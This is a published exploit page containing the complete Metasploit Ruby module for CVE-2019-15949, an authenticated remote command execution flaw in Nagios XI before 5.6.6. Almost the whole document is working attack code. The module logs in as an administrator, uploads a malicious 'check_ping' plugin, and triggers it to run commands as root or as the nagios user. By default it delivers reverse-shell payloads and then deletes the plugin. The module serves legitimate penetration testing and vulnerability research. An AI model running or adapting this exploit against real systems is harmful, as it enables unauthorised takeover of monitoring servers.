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Nagios XI getprofile.sh Remote Command Execution

Nagios XI getprofile.sh Remote Command Execution
Posted Apr 14, 2021
Authored by Erik Wynter, Jak Gibb | Site metasploit.com

This Metasploit module exploits a vulnerability in the getprofile.sh script of Nagios XI versions prior to 5.6.6 in order to upload a malicious check_ping plugin and thereby execute arbitrary commands. For Nagios XI 5.2.0 through 5.4.13, the commands are run as the nagios user. For versions 5.5.0 through 5.6.5, the commands are run as root. Note that versions prior to 5.2.0 will still be marked as being vulnerable however this module does not presently support exploiting these targets. The module uploads a malicious check_ping plugin to the Nagios XI server via /admin/monitoringplugins.php and then executes this plugin by issuing a HTTP GET request to download a system profile from the server. For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via the malicious plugin. This may not work if Nagios XI is running in a restricted Unix environment, so in that case the target must be set to Linux (cmd). The module then writes the payload to the malicious plugin while avoiding commands that may not be supported. Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.3.0 and Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before 5.5.0, it may take a significant amount of time for the payload to get back (up to 5 minutes). If exploitation fails against an older system, it is recommended to increase the WfsDelay setting (default is 300 seconds).

tags | exploit, web, arbitrary, root, php
systems | linux, unix, osx, centos
advisories | CVE-2019-15949
MD5 | c535c12509a747d756650bedc5b31fca

Nagios XI getprofile.sh Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::NagiosXi
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Module::Deprecated
moved_from 'exploit/linux/http/nagios_xi_authenticated_rce'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the getprofile.sh script
of Nagios XI prior to 5.6.6 in order to upload a malicious check_ping
plugin and thereby execute arbitrary commands.

For Nagios XI 5.2.0-5.4.13, the commands are run as the nagios user.
For versions 5.5.0-5.6.5 the commands are run as root. Note that versions
prior to 5.2.0 will still be marked as being vulnerable however this
module does not presently support exploiting these targets.

The module uploads a malicious check_ping plugin to the Nagios XI server via
/admin/monitoringplugins.php and then executes this plugin by issuing
a HTTP GET request to download a system profile from the server.
For all supported targets except Linux (cmd), the module uses a command
stager to write the exploit to the target via the malicious plugin.
This may not work if Nagios XI is running in a restricted Unix environment,
so in that case the target must be set to Linux (cmd). The module then
writes the payload to the malicious plugin while avoiding commands
that may not be supported.

Valid credentials for a user with administrative privileges are
required. This module was successfully tested on Nagios XI 5.3.0 and
Nagios 5.6.5, both running on CentOS 7. For vulnerable versions before
5.5.0, it may take a significant amount of time for the payload to get
back (up to 5 minutes). If exploitation fails against an older system,
it is recommended to increase the WfsDelay setting (default is 300
seconds). See the documentation for more information.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2019-15949'],
['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] # original PHP exploit
],
'Payload' => { 'BadChars' => "\x00" },
'Targets' =>
[
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'Payload' => {
'Append' => ' & disown', # the payload must be disowned after execution, otherwise cleanup fails
'BadChars' => '"'
}
}
]
],
'Privileged' => true,
'DisclosureDate' => '2019-07-29',
'DefaultOptions' => { 'WfsDelay' => 300 }, # Necessary because the payload connects back with a significant delay. On versions older than 5.5.0 it takes especially long.
'DefaultTarget' => 1,
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])
]
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def finish_install
datastore['FINISH_INSTALL']
end

def check
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
# an array containing the http response body of a get request to index.php and the session cookies
login_result, res_array = nagios_xi_login(username, password, finish_install)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4 # Nagios XI is not fully installed
install_result = install_nagios_xi(password)
if install_result
return CheckCode::Unknown(install_result[1])
end

login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3 # An error occurred
return CheckCode::Unknown(res_array[0])
when 4 # Nagios XI is still not fully installed
return CheckCode::Detected('Failed to install Nagios XI on the target.')
end
end

# when 5 is excluded from the case statement above to prevent having to use this code block twice.
# Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.
if login_result == 5 # the Nagios XI license agreement has not been signed
auth_cookies, nsp = res_array
sign_license_result = sign_license_agreement(auth_cookies, nsp)
if sign_license_result
return CheckCode::Unknown(sign_license_result[1])
end

login_result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3
return CheckCode::Unknown(res_array[0])
when 5 # the Nagios XI license agreement still has not been signed
return CheckCode::Detected('Failed to sign the license agreement.')
end
end

print_good('Successfully authenticated to Nagios XI')

# Obtain the Nagios XI version
@auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already

nagios_version = nagios_xi_version(res_array[0])
if nagios_version.nil?
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
end

print_status("Target is Nagios XI with version #{nagios_version}")
# check if the target is actually vulnerable
@version = Rex::Version.new(nagios_version)
if @version < Rex::Version.new('5.6.6')
return CheckCode::Appears
end

return CheckCode::Safe
end

def grab_plugins_nsp
# visit the plugins page to grab the nsp token required for uploading the payload
res = send_request_cgi({
'uri' => @monitoring_plugins_url,
'method' => 'GET',
'cookie' => @auth_cookies
})

unless res
fail_with(Failure::Disconnected, "Connection failed while trying to visit `#{@monitoring_plugins_url}`")
end

unless res.code == 200 && res.body.include?('<title>Manage Plugins &middot; Nagios XI</title>')
fail_with(Failure::UnexpectedReply, "Unexpected response received while trying to visit `#{@monitoring_plugins_url}`")
end

@nsp = get_nsp(res)

if @nsp.blank?
fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')
end
end

def execute_command(cmd, _opts = {})
print_status("Uploading malicious 'check_ping' plugin...")
post_data = Rex::MIME::Message.new
post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name="upload"')
post_data.add_part(@nsp, nil, nil, 'form-data; name="nsp"')
post_data.add_part(Rex::Text.rand_text_numeric(8), nil, nil, 'form-data; name="MAX_FILE_SIZE"')
post_data.add_part(cmd, 'text/plain', nil, 'form-data; name="uploadedfile"; filename="check_ping"')

# upload payload
res = send_request_cgi({
'method' => 'POST',
'uri' => @monitoring_plugins_url,
'cookie' => @auth_cookies,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

unless res
fail_with Failure::Unreachable, 'Upload failed'
end

unless res.code == 200 && res.body.include?('New plugin was installed successfully')
fail_with Failure::Unknown, 'Failed to upload plugin.'
end

@plugin_installed = true
end

# This request will timeout. It has to, for the exploit to work.
def execute_payload
print_status('Executing plugin...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'profile', 'profile.php'),
'method' => 'GET',
'cookie' => @auth_cookies,
'vars_get' => { 'cmd' => 'download' }
}, 0)
end

def cleanup
return unless @plugin_installed

print_status("Deleting malicious 'check_ping' plugin...")
res = send_request_cgi({
'uri' => @monitoring_plugins_url,
'method' => 'GET',
'cookie' => @auth_cookies,
'vars_get' => {
'delete' => 'check_ping',
'nsp' => @nsp
}
})

unless res
print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.")
return
end

unless res.code == 200 && res.body.include?('Plugin deleted')
print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.")
return
end

print_good('Plugin deleted.')
end

def exploit
@monitoring_plugins_url = normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')
grab_plugins_nsp
wfsdelay = datastore['WfsDelay']

if @version < Rex::Version.new('5.2.0')
fail_with(Failure::NoTarget, "Target is vulnerable but this module does not support exploiting NagiosXI #{@version} at this time.")
end
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
message = "Waiting up to #{wfsdelay} seconds for the payload to connect back..."
else
execute_cmdstager(background: true)
message = "Waiting up to #{wfsdelay} seconds for the plugin to request the final payload..."
end
if @version >= Rex::Version.new('5.2.0') && @version < Rex::Version.new('5.5.0')
print_warning("For NagiosXi version #{@version} it may take serveral minutes for a session to open. If the module times out, try increasing the `WfsDelay` value.")
end
print_good('Successfully uploaded plugin.')
execute_payload
print_status(message)
end
end
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